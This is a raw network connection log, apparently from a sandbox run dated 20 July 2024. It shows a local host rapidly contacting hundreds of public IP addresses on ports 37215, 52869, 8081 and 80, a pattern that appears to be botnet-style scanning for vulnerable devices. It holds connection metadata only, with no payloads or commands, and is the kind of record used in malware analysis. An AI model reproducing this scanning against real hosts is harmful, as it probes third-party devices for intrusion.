Jul 20, 2024 23:10:38.455497026 CEST	37215	59122	197.91.175.126	192.168.2.15
Jul 20, 2024 23:10:38.455713034 CEST	59122	37215	192.168.2.15	197.91.175.126
Jul 20, 2024 23:10:38.455729008 CEST	45140	80	192.168.2.15	88.179.172.15
Jul 20, 2024 23:10:38.456535101 CEST	52869	42306	72.244.52.162	192.168.2.15
Jul 20, 2024 23:10:38.456593990 CEST	42306	52869	192.168.2.15	72.244.52.162
Jul 20, 2024 23:10:38.457190037 CEST	55874	52869	192.168.2.15	134.192.167.73
Jul 20, 2024 23:10:38.457515001 CEST	45002	37215	192.168.2.15	197.105.219.240
Jul 20, 2024 23:10:38.458092928 CEST	8081	47548	220.172.168.137	192.168.2.15
Jul 20, 2024 23:10:38.458154917 CEST	47548	8081	192.168.2.15	220.172.168.137
Jul 20, 2024 23:10:38.458556890 CEST	80	37124	88.3.103.96	192.168.2.15
Jul 20, 2024 23:10:38.458564997 CEST	42556	8081	192.168.2.15	112.36.161.183
Jul 20, 2024 23:10:38.458606005 CEST	37124	80	192.168.2.15	88.3.103.96
Jul 20, 2024 23:10:38.458884954 CEST	34456	80	192.168.2.15	88.184.156.23
Jul 20, 2024 23:10:38.458941936 CEST	52869	60590	166.78.169.15	192.168.2.15
Jul 20, 2024 23:10:38.458980083 CEST	60590	52869	192.168.2.15	166.78.169.15
Jul 20, 2024 23:10:38.459867001 CEST	47922	52869	192.168.2.15	73.163.96.192
Jul 20, 2024 23:10:38.460316896 CEST	37215	37320	157.245.216.156	192.168.2.15
Jul 20, 2024 23:10:38.460361958 CEST	37320	37215	192.168.2.15	157.245.216.156
Jul 20, 2024 23:10:38.460715055 CEST	8081	38562	72.232.56.222	192.168.2.15
Jul 20, 2024 23:10:38.460762978 CEST	38562	8081	192.168.2.15	72.232.56.222
Jul 20, 2024 23:10:38.461031914 CEST	40972	37215	192.168.2.15	49.55.180.63
Jul 20, 2024 23:10:38.461163998 CEST	33196	8081	192.168.2.15	105.84.133.237
Jul 20, 2024 23:10:38.461469889 CEST	56008	80	192.168.2.15	88.109.79.184
Jul 20, 2024 23:10:38.461663961 CEST	80	45140	88.179.172.15	192.168.2.15
Jul 20, 2024 23:10:38.461714029 CEST	45140	80	192.168.2.15	88.179.172.15
Jul 20, 2024 23:10:38.462551117 CEST	52869	55874	134.192.167.73	192.168.2.15
Jul 20, 2024 23:10:38.462565899 CEST	37215	45002	197.105.219.240	192.168.2.15
Jul 20, 2024 23:10:38.462599993 CEST	55874	52869	192.168.2.15	134.192.167.73
Jul 20, 2024 23:10:38.462613106 CEST	45002	37215	192.168.2.15	197.105.219.240
Jul 20, 2024 23:10:38.463217020 CEST	43136	52869	192.168.2.15	204.13.73.202
Jul 20, 2024 23:10:38.463349104 CEST	8081	42556	112.36.161.183	192.168.2.15
Jul 20, 2024 23:10:38.463387012 CEST	42556	8081	192.168.2.15	112.36.161.183
Jul 20, 2024 23:10:38.463859081 CEST	80	34456	88.184.156.23	192.168.2.15
Jul 20, 2024 23:10:38.463906050 CEST	34456	80	192.168.2.15	88.184.156.23
Jul 20, 2024 23:10:38.464442015 CEST	43258	37215	192.168.2.15	163.110.119.229
Jul 20, 2024 23:10:38.464529991 CEST	46420	8081	192.168.2.15	50.145.203.85
Jul 20, 2024 23:10:38.464802027 CEST	44074	80	192.168.2.15	88.110.66.57
Jul 20, 2024 23:10:38.465321064 CEST	52869	47922	73.163.96.192	192.168.2.15
Jul 20, 2024 23:10:38.465373039 CEST	47922	52869	192.168.2.15	73.163.96.192
Jul 20, 2024 23:10:38.465502977 CEST	60444	52869	192.168.2.15	23.180.240.118
Jul 20, 2024 23:10:38.466039896 CEST	37215	40972	49.55.180.63	192.168.2.15
Jul 20, 2024 23:10:38.466088057 CEST	40972	37215	192.168.2.15	49.55.180.63
Jul 20, 2024 23:10:38.466203928 CEST	8081	33196	105.84.133.237	192.168.2.15
Jul 20, 2024 23:10:38.466239929 CEST	33196	8081	192.168.2.15	105.84.133.237
Jul 20, 2024 23:10:38.466907978 CEST	46710	8081	192.168.2.15	57.7.150.109
Jul 20, 2024 23:10:38.467217922 CEST	38346	80	192.168.2.15	88.110.50.174
Jul 20, 2024 23:10:38.467250109 CEST	80	56008	88.109.79.184	192.168.2.15
Jul 20, 2024 23:10:38.467298031 CEST	56008	80	192.168.2.15	88.109.79.184
Jul 20, 2024 23:10:38.467458010 CEST	37834	37215	192.168.2.15	197.43.242.43
Jul 20, 2024 23:10:38.468215942 CEST	52869	43136	204.13.73.202	192.168.2.15
Jul 20, 2024 23:10:38.468255043 CEST	43136	52869	192.168.2.15	204.13.73.202
Jul 20, 2024 23:10:38.468477964 CEST	51080	52869	192.168.2.15	85.126.23.91
Jul 20, 2024 23:10:38.469398022 CEST	37215	43258	163.110.119.229	192.168.2.15
Jul 20, 2024 23:10:38.469440937 CEST	43258	37215	192.168.2.15	163.110.119.229
Jul 20, 2024 23:10:38.469790936 CEST	8081	46420	50.145.203.85	192.168.2.15
Jul 20, 2024 23:10:38.469805002 CEST	80	44074	88.110.66.57	192.168.2.15
Jul 20, 2024 23:10:38.469836950 CEST	44074	80	192.168.2.15	88.110.66.57
Jul 20, 2024 23:10:38.469846964 CEST	46420	8081	192.168.2.15	50.145.203.85
Jul 20, 2024 23:10:38.470046043 CEST	45398	8081	192.168.2.15	191.229.1.158
Jul 20, 2024 23:10:38.470360041 CEST	36054	80	192.168.2.15	88.8.102.154
Jul 20, 2024 23:10:38.470659971 CEST	41390	37215	192.168.2.15	41.127.217.236
Jul 20, 2024 23:10:38.470768929 CEST	52869	60444	23.180.240.118	192.168.2.15
Jul 20, 2024 23:10:38.470824003 CEST	60444	52869	192.168.2.15	23.180.240.118
Jul 20, 2024 23:10:38.471232891 CEST	38544	52869	192.168.2.15	191.96.230.47
Jul 20, 2024 23:10:38.472060919 CEST	8081	46710	57.7.150.109	192.168.2.15
Jul 20, 2024 23:10:38.472110987 CEST	46710	8081	192.168.2.15	57.7.150.109
Jul 20, 2024 23:10:38.472258091 CEST	80	38346	88.110.50.174	192.168.2.15
Jul 20, 2024 23:10:38.472418070 CEST	38346	80	192.168.2.15	88.110.50.174
Jul 20, 2024 23:10:38.472837925 CEST	60896	8081	192.168.2.15	170.239.24.67
Jul 20, 2024 23:10:38.473134995 CEST	37358	80	192.168.2.15	88.206.157.252
Jul 20, 2024 23:10:38.473210096 CEST	37215	37834	197.43.242.43	192.168.2.15
Jul 20, 2024 23:10:38.473264933 CEST	37834	37215	192.168.2.15	197.43.242.43
Jul 20, 2024 23:10:38.473493099 CEST	52869	51080	85.126.23.91	192.168.2.15
Jul 20, 2024 23:10:38.473571062 CEST	51080	52869	192.168.2.15	85.126.23.91
Jul 20, 2024 23:10:38.474142075 CEST	42690	37215	192.168.2.15	197.74.96.150
Jul 20, 2024 23:10:38.474642992 CEST	36118	52869	192.168.2.15	197.208.47.186
Jul 20, 2024 23:10:38.475584984 CEST	8081	45398	191.229.1.158	192.168.2.15
Jul 20, 2024 23:10:38.475630999 CEST	45398	8081	192.168.2.15	191.229.1.158
Jul 20, 2024 23:10:38.475651979 CEST	80	36054	88.8.102.154	192.168.2.15
Jul 20, 2024 23:10:38.475666046 CEST	37215	41390	41.127.217.236	192.168.2.15
Jul 20, 2024 23:10:38.475704908 CEST	41390	37215	192.168.2.15	41.127.217.236
Jul 20, 2024 23:10:38.475712061 CEST	36054	80	192.168.2.15	88.8.102.154
Jul 20, 2024 23:10:38.476252079 CEST	52869	38544	191.96.230.47	192.168.2.15
Jul 20, 2024 23:10:38.476330996 CEST	38544	52869	192.168.2.15	191.96.230.47
Jul 20, 2024 23:10:38.477008104 CEST	35570	8081	192.168.2.15	206.153.77.196
Jul 20, 2024 23:10:38.477613926 CEST	33452	80	192.168.2.15	88.160.211.242
Jul 20, 2024 23:10:38.477796078 CEST	8081	60896	170.239.24.67	192.168.2.15
Jul 20, 2024 23:10:38.477855921 CEST	60896	8081	192.168.2.15	170.239.24.67
Jul 20, 2024 23:10:38.478441000 CEST	80	37358	88.206.157.252	192.168.2.15
Jul 20, 2024 23:10:38.478477001 CEST	37358	80	192.168.2.15	88.206.157.252
Jul 20, 2024 23:10:38.478759050 CEST	35130	52869	192.168.2.15	32.169.224.65
Jul 20, 2024 23:10:38.479422092 CEST	37215	42690	197.74.96.150	192.168.2.15
Jul 20, 2024 23:10:38.479445934 CEST	43916	37215	192.168.2.15	157.204.120.208
Jul 20, 2024 23:10:38.479475021 CEST	42690	37215	192.168.2.15	197.74.96.150
Jul 20, 2024 23:10:38.479599953 CEST	52869	36118	197.208.47.186	192.168.2.15
Jul 20, 2024 23:10:38.479644060 CEST	36118	52869	192.168.2.15	197.208.47.186
Jul 20, 2024 23:10:38.481439114 CEST	37738	8081	192.168.2.15	18.172.107.182
Jul 20, 2024 23:10:38.481889963 CEST	8081	35570	206.153.77.196	192.168.2.15
Jul 20, 2024 23:10:38.481929064 CEST	35570	8081	192.168.2.15	206.153.77.196
Jul 20, 2024 23:10:38.482026100 CEST	40606	80	192.168.2.15	88.174.33.120
Jul 20, 2024 23:10:38.482584000 CEST	80	33452	88.160.211.242	192.168.2.15
Jul 20, 2024 23:10:38.482626915 CEST	33452	80	192.168.2.15	88.160.211.242
Jul 20, 2024 23:10:38.483793020 CEST	52869	35130	32.169.224.65	192.168.2.15
Jul 20, 2024 23:10:38.483844995 CEST	35130	52869	192.168.2.15	32.169.224.65
Jul 20, 2024 23:10:38.484395027 CEST	37215	43916	157.204.120.208	192.168.2.15
Jul 20, 2024 23:10:38.484441996 CEST	43916	37215	192.168.2.15	157.204.120.208
Jul 20, 2024 23:10:38.484519958 CEST	38954	52869	192.168.2.15	208.102.27.6
Jul 20, 2024 23:10:38.485388041 CEST	49906	37215	192.168.2.15	62.146.200.25
Jul 20, 2024 23:10:38.486331940 CEST	8081	37738	18.172.107.182	192.168.2.15
Jul 20, 2024 23:10:38.486377001 CEST	37738	8081	192.168.2.15	18.172.107.182
Jul 20, 2024 23:10:38.487113953 CEST	80	40606	88.174.33.120	192.168.2.15
Jul 20, 2024 23:10:38.487145901 CEST	58940	8081	192.168.2.15	107.127.227.178
Jul 20, 2024 23:10:38.487169027 CEST	40606	80	192.168.2.15	88.174.33.120
Jul 20, 2024 23:10:38.487713099 CEST	51596	80	192.168.2.15	88.70.91.27
Jul 20, 2024 23:10:38.488862991 CEST	41986	52869	192.168.2.15	102.119.6.178
Jul 20, 2024 23:10:38.489700079 CEST	52869	38954	208.102.27.6	192.168.2.15
Jul 20, 2024 23:10:38.489770889 CEST	38954	52869	192.168.2.15	208.102.27.6
Jul 20, 2024 23:10:38.490292072 CEST	37215	49906	62.146.200.25	192.168.2.15
Jul 20, 2024 23:10:38.490334034 CEST	49906	37215	192.168.2.15	62.146.200.25
Jul 20, 2024 23:10:38.490875959 CEST	45236	37215	192.168.2.15	41.197.53.118
Jul 20, 2024 23:10:38.491101027 CEST	47002	8081	192.168.2.15	23.165.201.101
Jul 20, 2024 23:10:38.491592884 CEST	51394	80	192.168.2.15	88.166.84.21
Jul 20, 2024 23:10:38.492182016 CEST	8081	58940	107.127.227.178	192.168.2.15
Jul 20, 2024 23:10:38.492239952 CEST	58940	8081	192.168.2.15	107.127.227.178
Jul 20, 2024 23:10:38.492851973 CEST	80	51596	88.70.91.27	192.168.2.15
Jul 20, 2024 23:10:38.492901087 CEST	51596	80	192.168.2.15	88.70.91.27
Jul 20, 2024 23:10:38.493834019 CEST	46572	52869	192.168.2.15	77.64.253.97
Jul 20, 2024 23:10:38.493865967 CEST	52869	41986	102.119.6.178	192.168.2.15
Jul 20, 2024 23:10:38.493912935 CEST	41986	52869	192.168.2.15	102.119.6.178
Jul 20, 2024 23:10:38.495713949 CEST	43798	37215	192.168.2.15	103.246.101.15
Jul 20, 2024 23:10:38.495929956 CEST	38674	8081	192.168.2.15	39.240.154.144
Jul 20, 2024 23:10:38.496005058 CEST	37215	45236	41.197.53.118	192.168.2.15
Jul 20, 2024 23:10:38.496031046 CEST	8081	47002	23.165.201.101	192.168.2.15
Jul 20, 2024 23:10:38.496045113 CEST	45236	37215	192.168.2.15	41.197.53.118
Jul 20, 2024 23:10:38.496104956 CEST	47002	8081	192.168.2.15	23.165.201.101
Jul 20, 2024 23:10:38.496561050 CEST	50218	80	192.168.2.15	88.80.210.128
Jul 20, 2024 23:10:38.497052908 CEST	80	51394	88.166.84.21	192.168.2.15
Jul 20, 2024 23:10:38.497104883 CEST	51394	80	192.168.2.15	88.166.84.21
Jul 20, 2024 23:10:38.497473001 CEST	48776	52869	192.168.2.15	134.116.6.133
Jul 20, 2024 23:10:38.498934984 CEST	52869	46572	77.64.253.97	192.168.2.15
Jul 20, 2024 23:10:38.498972893 CEST	46572	52869	192.168.2.15	77.64.253.97
Jul 20, 2024 23:10:38.499250889 CEST	37296	8081	192.168.2.15	99.223.164.124
Jul 20, 2024 23:10:38.499721050 CEST	41034	80	192.168.2.15	88.83.51.96
Jul 20, 2024 23:10:38.500065088 CEST	43226	37215	192.168.2.15	197.169.40.175
Jul 20, 2024 23:10:38.500716925 CEST	37215	43798	103.246.101.15	192.168.2.15
Jul 20, 2024 23:10:38.500762939 CEST	43798	37215	192.168.2.15	103.246.101.15
Jul 20, 2024 23:10:38.500866890 CEST	8081	38674	39.240.154.144	192.168.2.15
Jul 20, 2024 23:10:38.500909090 CEST	38674	8081	192.168.2.15	39.240.154.144
Jul 20, 2024 23:10:38.501737118 CEST	80	50218	88.80.210.128	192.168.2.15
Jul 20, 2024 23:10:38.501786947 CEST	50218	80	192.168.2.15	88.80.210.128
Jul 20, 2024 23:10:38.501805067 CEST	40426	52869	192.168.2.15	143.77.32.144
Jul 20, 2024 23:10:38.503851891 CEST	52869	48776	134.116.6.133	192.168.2.15
Jul 20, 2024 23:10:38.503890991 CEST	48776	52869	192.168.2.15	134.116.6.133
Jul 20, 2024 23:10:38.504008055 CEST	54084	8081	192.168.2.15	162.48.242.129
Jul 20, 2024 23:10:38.504436016 CEST	36874	80	192.168.2.15	88.131.52.117
Jul 20, 2024 23:10:38.505003929 CEST	41756	37215	192.168.2.15	157.17.105.247
Jul 20, 2024 23:10:38.505100012 CEST	8081	37296	99.223.164.124	192.168.2.15
Jul 20, 2024 23:10:38.505136967 CEST	37296	8081	192.168.2.15	99.223.164.124
Jul 20, 2024 23:10:38.505429029 CEST	53962	52869	192.168.2.15	189.107.255.223
Jul 20, 2024 23:10:38.505738974 CEST	80	41034	88.83.51.96	192.168.2.15
Jul 20, 2024 23:10:38.505773067 CEST	41034	80	192.168.2.15	88.83.51.96
Jul 20, 2024 23:10:38.505997896 CEST	37215	43226	197.169.40.175	192.168.2.15
Jul 20, 2024 23:10:38.506045103 CEST	43226	37215	192.168.2.15	197.169.40.175
Jul 20, 2024 23:10:38.507466078 CEST	40178	8081	192.168.2.15	114.162.118.100
Jul 20, 2024 23:10:38.507776976 CEST	52869	40426	143.77.32.144	192.168.2.15
Jul 20, 2024 23:10:38.507819891 CEST	40426	52869	192.168.2.15	143.77.32.144
Jul 20, 2024 23:10:38.507931948 CEST	51740	80	192.168.2.15	88.43.49.250
Jul 20, 2024 23:10:38.509388924 CEST	8081	54084	162.48.242.129	192.168.2.15
Jul 20, 2024 23:10:38.509438038 CEST	54084	8081	192.168.2.15	162.48.242.129
Jul 20, 2024 23:10:38.509479046 CEST	41076	37215	192.168.2.15	197.36.183.119
Jul 20, 2024 23:10:38.509746075 CEST	80	36874	88.131.52.117	192.168.2.15
Jul 20, 2024 23:10:38.509788036 CEST	36874	80	192.168.2.15	88.131.52.117
Jul 20, 2024 23:10:38.509989023 CEST	37215	41756	157.17.105.247	192.168.2.15
Jul 20, 2024 23:10:38.510025024 CEST	41756	37215	192.168.2.15	157.17.105.247
Jul 20, 2024 23:10:38.510368109 CEST	34640	52869	192.168.2.15	211.42.169.91
Jul 20, 2024 23:10:38.510759115 CEST	52869	53962	189.107.255.223	192.168.2.15
Jul 20, 2024 23:10:38.510802031 CEST	53962	52869	192.168.2.15	189.107.255.223
Jul 20, 2024 23:10:38.512346029 CEST	60504	8081	192.168.2.15	59.46.78.137
Jul 20, 2024 23:10:38.512847900 CEST	50840	80	192.168.2.15	88.97.87.84
Jul 20, 2024 23:10:38.512876034 CEST	8081	40178	114.162.118.100	192.168.2.15
Jul 20, 2024 23:10:38.512918949 CEST	40178	8081	192.168.2.15	114.162.118.100
Jul 20, 2024 23:10:38.513187885 CEST	80	51740	88.43.49.250	192.168.2.15
Jul 20, 2024 23:10:38.513228893 CEST	51740	80	192.168.2.15	88.43.49.250
Jul 20, 2024 23:10:38.513902903 CEST	38462	52869	192.168.2.15	37.21.17.204
Jul 20, 2024 23:10:38.514543056 CEST	32936	37215	192.168.2.15	197.52.85.28
Jul 20, 2024 23:10:38.514718056 CEST	37215	41076	197.36.183.119	192.168.2.15
Jul 20, 2024 23:10:38.514759064 CEST	41076	37215	192.168.2.15	197.36.183.119
Jul 20, 2024 23:10:38.515391111 CEST	52869	34640	211.42.169.91	192.168.2.15
Jul 20, 2024 23:10:38.515434980 CEST	34640	52869	192.168.2.15	211.42.169.91
Jul 20, 2024 23:10:38.516020060 CEST	35922	8081	192.168.2.15	66.46.202.106
Jul 20, 2024 23:10:38.516474962 CEST	54398	80	192.168.2.15	88.115.2.250
Jul 20, 2024 23:10:38.517443895 CEST	8081	60504	59.46.78.137	192.168.2.15
Jul 20, 2024 23:10:38.517482996 CEST	60504	8081	192.168.2.15	59.46.78.137
Jul 20, 2024 23:10:38.518213034 CEST	80	50840	88.97.87.84	192.168.2.15
Jul 20, 2024 23:10:38.518255949 CEST	50840	80	192.168.2.15	88.97.87.84
Jul 20, 2024 23:10:38.518790007 CEST	41184	52869	192.168.2.15	67.65.153.119
Jul 20, 2024 23:10:38.519171000 CEST	52869	38462	37.21.17.204	192.168.2.15
Jul 20, 2024 23:10:38.519212961 CEST	38462	52869	192.168.2.15	37.21.17.204
Jul 20, 2024 23:10:38.519695044 CEST	37215	32936	197.52.85.28	192.168.2.15
Jul 20, 2024 23:10:38.519737959 CEST	32936	37215	192.168.2.15	197.52.85.28
Jul 20, 2024 23:10:38.519844055 CEST	51100	37215	192.168.2.15	197.12.49.40
Jul 20, 2024 23:10:38.521089077 CEST	8081	35922	66.46.202.106	192.168.2.15
Jul 20, 2024 23:10:38.521135092 CEST	35922	8081	192.168.2.15	66.46.202.106
Jul 20, 2024 23:10:38.521409035 CEST	58642	8081	192.168.2.15	131.100.82.185
Jul 20, 2024 23:10:38.521898031 CEST	52432	80	192.168.2.15	88.53.212.206
Jul 20, 2024 23:10:38.522510052 CEST	80	54398	88.115.2.250	192.168.2.15
Jul 20, 2024 23:10:38.522543907 CEST	54398	80	192.168.2.15	88.115.2.250
Jul 20, 2024 23:10:38.523222923 CEST	39438	52869	192.168.2.15	108.128.208.18
Jul 20, 2024 23:10:38.524108887 CEST	52869	41184	67.65.153.119	192.168.2.15
Jul 20, 2024 23:10:38.524144888 CEST	41184	52869	192.168.2.15	67.65.153.119
Jul 20, 2024 23:10:38.525110006 CEST	37215	51100	197.12.49.40	192.168.2.15
Jul 20, 2024 23:10:38.525161028 CEST	51100	37215	192.168.2.15	197.12.49.40
Jul 20, 2024 23:10:38.525343895 CEST	41284	37215	192.168.2.15	107.103.239.103
Jul 20, 2024 23:10:38.525923014 CEST	47990	8081	192.168.2.15	139.207.225.210
Jul 20, 2024 23:10:38.526412010 CEST	8081	58642	131.100.82.185	192.168.2.15
Jul 20, 2024 23:10:38.526422024 CEST	33292	80	192.168.2.15	88.14.192.250
Jul 20, 2024 23:10:38.526453018 CEST	58642	8081	192.168.2.15	131.100.82.185
Jul 20, 2024 23:10:38.527395010 CEST	80	52432	88.53.212.206	192.168.2.15
Jul 20, 2024 23:10:38.527437925 CEST	52432	80	192.168.2.15	88.53.212.206
Jul 20, 2024 23:10:38.528120041 CEST	52869	39438	108.128.208.18	192.168.2.15
Jul 20, 2024 23:10:38.528161049 CEST	39438	52869	192.168.2.15	108.128.208.18
Jul 20, 2024 23:10:38.528666019 CEST	51404	52869	192.168.2.15	104.126.44.136
Jul 20, 2024 23:10:38.530841112 CEST	54920	37215	192.168.2.15	14.49.13.245
Jul 20, 2024 23:10:38.531300068 CEST	55532	8081	192.168.2.15	97.242.235.89
Jul 20, 2024 23:10:38.531410933 CEST	45520	80	192.168.2.15	88.203.15.239
Jul 20, 2024 23:10:38.531496048 CEST	37215	41284	107.103.239.103	192.168.2.15
Jul 20, 2024 23:10:38.531538963 CEST	41284	37215	192.168.2.15	107.103.239.103
Jul 20, 2024 23:10:38.531871080 CEST	8081	47990	139.207.225.210	192.168.2.15
Jul 20, 2024 23:10:38.531934023 CEST	47990	8081	192.168.2.15	139.207.225.210
Jul 20, 2024 23:10:38.532242060 CEST	80	33292	88.14.192.250	192.168.2.15
Jul 20, 2024 23:10:38.532286882 CEST	33292	80	192.168.2.15	88.14.192.250
Jul 20, 2024 23:10:38.532882929 CEST	52008	52869	192.168.2.15	23.244.107.142
Jul 20, 2024 23:10:38.534055948 CEST	52869	51404	104.126.44.136	192.168.2.15
Jul 20, 2024 23:10:38.534107924 CEST	51404	52869	192.168.2.15	104.126.44.136
Jul 20, 2024 23:10:38.535415888 CEST	40276	8081	192.168.2.15	54.87.78.53
Jul 20, 2024 23:10:38.535955906 CEST	56752	80	192.168.2.15	88.17.190.109
Jul 20, 2024 23:10:38.536286116 CEST	37215	54920	14.49.13.245	192.168.2.15
Jul 20, 2024 23:10:38.536299944 CEST	8081	55532	97.242.235.89	192.168.2.15
Jul 20, 2024 23:10:38.536328077 CEST	54920	37215	192.168.2.15	14.49.13.245
Jul 20, 2024 23:10:38.536391020 CEST	41866	37215	192.168.2.15	140.235.15.87
Jul 20, 2024 23:10:38.536425114 CEST	80	45520	88.203.15.239	192.168.2.15
Jul 20, 2024 23:10:38.536465883 CEST	45520	80	192.168.2.15	88.203.15.239
Jul 20, 2024 23:10:38.536488056 CEST	55532	8081	192.168.2.15	97.242.235.89
Jul 20, 2024 23:10:38.537906885 CEST	52869	52008	23.244.107.142	192.168.2.15
Jul 20, 2024 23:10:38.537942886 CEST	52008	52869	192.168.2.15	23.244.107.142
Jul 20, 2024 23:10:38.538670063 CEST	57164	52869	192.168.2.15	91.159.64.203
Jul 20, 2024 23:10:38.540795088 CEST	52846	8081	192.168.2.15	9.112.0.108
Jul 20, 2024 23:10:38.541188002 CEST	55976	80	192.168.2.15	88.190.112.126
Jul 20, 2024 23:10:38.541609049 CEST	38926	37215	192.168.2.15	41.253.112.25
Jul 20, 2024 23:10:38.542120934 CEST	33188	52869	192.168.2.15	4.232.226.241
Jul 20, 2024 23:10:38.542814970 CEST	8081	40276	54.87.78.53	192.168.2.15
Jul 20, 2024 23:10:38.542860985 CEST	40276	8081	192.168.2.15	54.87.78.53
Jul 20, 2024 23:10:38.543149948 CEST	80	56752	88.17.190.109	192.168.2.15
Jul 20, 2024 23:10:38.543184996 CEST	56752	80	192.168.2.15	88.17.190.109
Jul 20, 2024 23:10:38.543760061 CEST	37215	41866	140.235.15.87	192.168.2.15
Jul 20, 2024 23:10:38.543809891 CEST	41866	37215	192.168.2.15	140.235.15.87
Jul 20, 2024 23:10:38.543818951 CEST	41650	8081	192.168.2.15	144.250.77.69
Jul 20, 2024 23:10:38.544219017 CEST	46364	80	192.168.2.15	88.84.71.81
Jul 20, 2024 23:10:38.545492887 CEST	55066	37215	192.168.2.15	34.108.209.169
Jul 20, 2024 23:10:38.545794964 CEST	56016	52869	192.168.2.15	69.210.2.130
Jul 20, 2024 23:10:38.545924902 CEST	52869	57164	91.159.64.203	192.168.2.15
Jul 20, 2024 23:10:38.545984983 CEST	57164	52869	192.168.2.15	91.159.64.203
Jul 20, 2024 23:10:38.547561884 CEST	42224	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:38.548178911 CEST	57496	80	192.168.2.15	88.7.110.43
Jul 20, 2024 23:10:38.549077034 CEST	60644	52869	192.168.2.15	80.66.53.41
Jul 20, 2024 23:10:38.549426079 CEST	8081	52846	9.112.0.108	192.168.2.15
Jul 20, 2024 23:10:38.549442053 CEST	80	55976	88.190.112.126	192.168.2.15
Jul 20, 2024 23:10:38.549455881 CEST	37215	38926	41.253.112.25	192.168.2.15
Jul 20, 2024 23:10:38.549464941 CEST	52846	8081	192.168.2.15	9.112.0.108
Jul 20, 2024 23:10:38.549468994 CEST	52869	33188	4.232.226.241	192.168.2.15
Jul 20, 2024 23:10:38.549483061 CEST	8081	41650	144.250.77.69	192.168.2.15
Jul 20, 2024 23:10:38.549494982 CEST	80	46364	88.84.71.81	192.168.2.15
Jul 20, 2024 23:10:38.549505949 CEST	55976	80	192.168.2.15	88.190.112.126
Jul 20, 2024 23:10:38.549524069 CEST	38926	37215	192.168.2.15	41.253.112.25
Jul 20, 2024 23:10:38.549532890 CEST	33188	52869	192.168.2.15	4.232.226.241
Jul 20, 2024 23:10:38.549609900 CEST	45984	37215	192.168.2.15	197.197.182.48
Jul 20, 2024 23:10:38.549645901 CEST	41650	8081	192.168.2.15	144.250.77.69
Jul 20, 2024 23:10:38.550368071 CEST	46364	80	192.168.2.15	88.84.71.81
Jul 20, 2024 23:10:38.550997019 CEST	55136	8081	192.168.2.15	130.64.237.83
Jul 20, 2024 23:10:38.551431894 CEST	41316	80	192.168.2.15	88.105.34.41
Jul 20, 2024 23:10:38.552351952 CEST	37215	55066	34.108.209.169	192.168.2.15
Jul 20, 2024 23:10:38.552400112 CEST	55066	37215	192.168.2.15	34.108.209.169
Jul 20, 2024 23:10:38.553817987 CEST	52869	56016	69.210.2.130	192.168.2.15
Jul 20, 2024 23:10:38.553888083 CEST	56016	52869	192.168.2.15	69.210.2.130
Jul 20, 2024 23:10:38.554007053 CEST	60906	52869	192.168.2.15	162.144.96.77
Jul 20, 2024 23:10:38.554178953 CEST	8081	42224	213.200.213.234	192.168.2.15
Jul 20, 2024 23:10:38.554193020 CEST	80	57496	88.7.110.43	192.168.2.15
Jul 20, 2024 23:10:38.554212093 CEST	42224	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:38.554234028 CEST	57496	80	192.168.2.15	88.7.110.43
Jul 20, 2024 23:10:38.555048943 CEST	52869	60644	80.66.53.41	192.168.2.15
Jul 20, 2024 23:10:38.555063009 CEST	37215	45984	197.197.182.48	192.168.2.15
Jul 20, 2024 23:10:38.555094004 CEST	60644	52869	192.168.2.15	80.66.53.41
Jul 20, 2024 23:10:38.555119038 CEST	45984	37215	192.168.2.15	197.197.182.48
Jul 20, 2024 23:10:38.555150986 CEST	39428	37215	192.168.2.15	169.37.171.79
Jul 20, 2024 23:10:38.556499004 CEST	8081	55136	130.64.237.83	192.168.2.15
Jul 20, 2024 23:10:38.556539059 CEST	55136	8081	192.168.2.15	130.64.237.83
Jul 20, 2024 23:10:38.557285070 CEST	50848	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:38.557609081 CEST	80	41316	88.105.34.41	192.168.2.15
Jul 20, 2024 23:10:38.557651043 CEST	41316	80	192.168.2.15	88.105.34.41
Jul 20, 2024 23:10:38.558190107 CEST	46686	80	192.168.2.15	88.208.60.45
Jul 20, 2024 23:10:38.559395075 CEST	38600	52869	192.168.2.15	217.58.36.234
Jul 20, 2024 23:10:38.560132980 CEST	52869	60906	162.144.96.77	192.168.2.15
Jul 20, 2024 23:10:38.560173988 CEST	60906	52869	192.168.2.15	162.144.96.77
Jul 20, 2024 23:10:38.560527086 CEST	37215	39428	169.37.171.79	192.168.2.15
Jul 20, 2024 23:10:38.560564041 CEST	39428	37215	192.168.2.15	169.37.171.79
Jul 20, 2024 23:10:38.561135054 CEST	49010	37215	192.168.2.15	157.5.164.72
Jul 20, 2024 23:10:38.561327934 CEST	36772	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:38.561840057 CEST	46400	80	192.168.2.15	88.117.202.28
Jul 20, 2024 23:10:38.562947035 CEST	8081	50848	64.52.71.132	192.168.2.15
Jul 20, 2024 23:10:38.562983036 CEST	50848	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:38.563232899 CEST	80	46686	88.208.60.45	192.168.2.15
Jul 20, 2024 23:10:38.563273907 CEST	46686	80	192.168.2.15	88.208.60.45
Jul 20, 2024 23:10:38.563318968 CEST	52370	52869	192.168.2.15	113.59.43.68
Jul 20, 2024 23:10:38.564678907 CEST	52869	38600	217.58.36.234	192.168.2.15
Jul 20, 2024 23:10:38.564713955 CEST	38600	52869	192.168.2.15	217.58.36.234
Jul 20, 2024 23:10:38.565097094 CEST	58030	37215	192.168.2.15	197.57.193.59
Jul 20, 2024 23:10:38.565274954 CEST	42448	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:38.565613985 CEST	39232	80	192.168.2.15	88.192.255.224
Jul 20, 2024 23:10:38.566262007 CEST	37215	49010	157.5.164.72	192.168.2.15
Jul 20, 2024 23:10:38.566298962 CEST	49010	37215	192.168.2.15	157.5.164.72
Jul 20, 2024 23:10:38.566423893 CEST	37090	52869	192.168.2.15	44.227.239.111
Jul 20, 2024 23:10:38.567941904 CEST	57236	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:38.568288088 CEST	53282	80	192.168.2.15	88.166.76.121
Jul 20, 2024 23:10:38.568572998 CEST	55552	37215	192.168.2.15	83.35.196.3
Jul 20, 2024 23:10:38.569744110 CEST	58808	52869	192.168.2.15	8.28.61.99
Jul 20, 2024 23:10:38.569982052 CEST	8081	36772	139.20.180.119	192.168.2.15
Jul 20, 2024 23:10:38.570010900 CEST	80	46400	88.117.202.28	192.168.2.15
